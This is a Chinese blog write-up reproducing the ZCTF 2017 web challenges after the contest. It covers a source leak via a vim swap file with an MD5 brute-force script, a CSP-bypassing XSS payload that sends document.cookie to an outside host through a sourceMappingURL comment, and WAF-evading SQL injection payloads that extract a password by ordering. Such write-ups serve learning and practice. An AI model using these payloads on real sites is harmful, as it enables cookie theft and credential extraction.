ZCTF2017web部分赛后复现

能力不济,不能在比赛中就很好的解出题目,只好赛后复现了,2333

web1

一顿测试什么也没有,然后目录fuzz了一下,发现了1.php的文件,仔细看了一遍phpinfo()泄露的信息,发现无异常,猜测可能为出题人,测试环境后忘记删除了,估计会误导一大批人。

休息一会,想到会不会是其他类型的文件泄露,尝试vim的默认备份文件.index.php.swp

成功得到源码

<?php
$flag = $_GET['flag'];
if ($flag != '15562') {
    if (strstr($flag, 'zctf')) {
        if (substr(md5($flag),8,16) == substr(md5('15562'),8,16)) {
            die('ZCTF{#########}');
        }
    }
}
die('ha?')
?>

顺手写个php脚本爆破即可。

<?php

for($i=0;$i<1000000;$i++){
    $text='zctf';
    $bertram=$text.(string)$i;
    if(substr(md5($bertram),8,16)==substr(md5('15562'),8,16)){
        echo $bertram;
        break;
    }
}
?>

web2 find my eye

因为是httrack爬虫爬下来的,因此可确定功能可能都被删减完了。很容易发现concant里是有一个留言板的,大致确认为存储性XSS,盲打就可以了,然而一顿海扁,却并没有什么卵用,字符检测过不了,符号检测过不了。

fuzz后大致确定存在以下关键过滤:

url href src () etc.

开chrome调试后发现存在csp内容安全策略,因此普通的xss payload是肯定过不了的。
于是找到Lorexxar的博客仔细观摩一下csp的bypass,并祭出文章中所有的payload,等了一下午发现还是没有flag。

赛后得到提示关注长短短的twitter,发现这样一段payload

<script>
document.write("<script>"+`ffff=1//# sourceMappingURL=http://nohackair.net/?${escape(document.cookie)}`+"<\/script>")
</script>

然而我记得过滤了#,?因此payload应该不能直接使用。

因为主办方没开启web环境就没有进行测试,问了MElody师傅要了Payload:

<script>aaa=1//@ sourceMappingURL=http://xxx:23333/</script>

从payload中就可以看出题目出的很强行2333。

说说Source Map(源映射)

为了在压缩Js代码后,能够映射出出错的代码位置而出现。

格式为 //# sourceMappingURL=file.js.map

在chrome调试过程中需要开启源映射才能定位到错误位置。

最早浏览器是通过 @ sourceMappingURL 标记地址的,但这引发了一些引擎和工具的问题(和 IE 的 @cc_on 冲突),所以现在改成了 # sourceMappingURL

没有打cookie是因为,最后flag在UA里。

┑( ̄Д  ̄)┍ (苍天饶过谁)

web3 Easy APK

刚开始拿到题,以为自己进错比赛了。

其实思路很简单,Fiddler抓包就可以了,
抓包以后发现数据加密了,因此需要得到加密算法才能进行下一步。

贴出加密算法的C源码

#include<stdio.h>
#include<string.h>
int main(){
    
    char input[]={"123456789"}; //需加密字符串
    char ixor[]={"1470"};

    int x=0;
    for(int i = strlen(input)-1;i>=0;i--){
        printf("%02x",(input[i]^ixor[x%4])&0xff);
        x++;
    } 

    return 0;
} 

第一个测试字符串admin' #,返回用户名admin,说明存在注入。

简单的测试几个SQL字符,发现存在WAF,重要过滤:()union selectwhere等,单独 union或者select,并不过滤,可能当时脑子有点糊了,一直在想怎么绕过(),没有想起来绕过union select的方式。

表结构大致如下

|id | name |password |
|-------|----------------|----------------|
|1 |admin |xxxxxxxxxxxxxxxx|

赛后本地测试了几个拿到的payload,均是利用desc排序来爆破password,

image

放几个payload:
admin'union distinct select 1,2,0x%s order by 3 desc#
admin' union/*\x0d\x0a*/select 1,'test','%s' order by 3 desc#

在比赛期间绕过本地验证后,第二部分还有一个mail猜测是PHPmailer命令执行漏洞(CVE-2016-10033)

这个漏洞还没复现过,过几天复现一下。2333

web400 only myself

嗯~题目还没看呢

滚来滚去……~(~o ̄▽ ̄)~o 。。。滚来滚去……o~(_△_o~) ~。。。

我能怎么办我也很绝望啊~



参考链接:Source Map 详解

发表评论